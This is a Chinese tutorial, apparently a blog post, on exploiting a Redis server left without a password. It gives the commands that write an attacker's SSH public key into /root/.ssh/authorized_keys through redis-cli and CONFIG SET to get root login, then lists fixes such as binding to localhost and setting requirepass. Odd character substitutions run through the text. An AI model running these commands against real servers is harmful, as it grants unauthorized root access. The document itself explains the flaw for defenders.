详解Redis数据库配置不当遭恶意入侵过程

Redis数据库简介
Redis(REmote DIctionary Server)是一款开源、支持网络、基于内存的高级键值对(Key-Value)存储数据库,其使用C语言编写实现。Redis一般被称为数据结构服务器,由于数据库中键(Key)的值(Value)能够是字符串、哈希表、列表、集合、有序集合等各类数据结构。
        Redis是内存数据库,由于其将所有的数据都存储在内存之中,传统的数据库如MySQL、SQLite等都是磁盘数据库(数据存储在磁盘上)。在关闭Redis以前,应当对内存中的数据进行备份,不然数据会丢失,不过,Redis支持按期自动备分内存中的数据到磁盘上。
        Redis是非关系型数据库,即NoSQL(Not Only SQL)。其数据存储不须要固定的表格模式,不使用SQL做为查询语言。

ssh-keygen
ssh-keygen命令用于为“ssh”生成、管理和转换认证密钥

redis 未受权访问
redis 之前就被曝未受权访问,redis 默认状况下,没有配置登录密码,任意用户能够登陆,形成数据泄露,经过进一步操做还能够拿到webshell。

最近Redis服务被曝出因配置不当,可能形成数据库被恶意清空,或被黑客利用写入后门文件形成进一步入侵。
下面我来简单演示下
首先在攻击机上直接链接被攻击机,能够看到是须要密码的。
 
下面咱们经过redis 未受权访问来拿到目标机的root权限。
咱们先在攻击机生成一个公钥。
 
咱们能够在~/.ssh 目录下看到生成的公钥和私钥文件
 
咱们只要把生成的公钥文件传到其余机器的~/.ssh/目录下而且重命名为authorized_keys(默认的是这个文件,能够在/etc/ssh/sshd_config里修改),那么就能够不须要root 也能登录目标机器了。
咱们这里利用redis 的未受权访问来达到目的。
咱们先把公钥保存txt 文件里 
 
在先后加入两个回车,是为了咱们的公钥在被写入目标机器的authorized_keys文件时是在新的一行以保证写入的公钥文件有效。
执行如下命令
cat test.txt | redis-cli -h 10.1.1.94 -x set redis
 

而后登录redis,执行如下命令
CONFIG SET dir /root/.ssh/                设置备份路径为/root/.ssh/
CONFIG SET dbfilename "authorized_keys" //设置备份文件名为authorized_keys
Save        //保存数据到磁盘

 
这样就能够用本地的私钥去登录被写入公钥的服务器了,无需密码就能够登录。
 

漏洞修复
一、指定redis服务使用的网卡 
在 redis.conf 文件中找到 “# bind 127.0.0.1” ,把前面的#号去掉,而后保存。注:修改后只有本机才能访问redis。

二、设置访问密码 
在 redis.conf 中找到“requirepass”字段,在后面填上你须要的密码。 

三、修改redis服务运行帐号 
请以较低权限帐号运行redis服务,且禁用该帐号的登陆权限。 

注意:redis 须要重启生效。
 web

相关文章
相关标签/搜索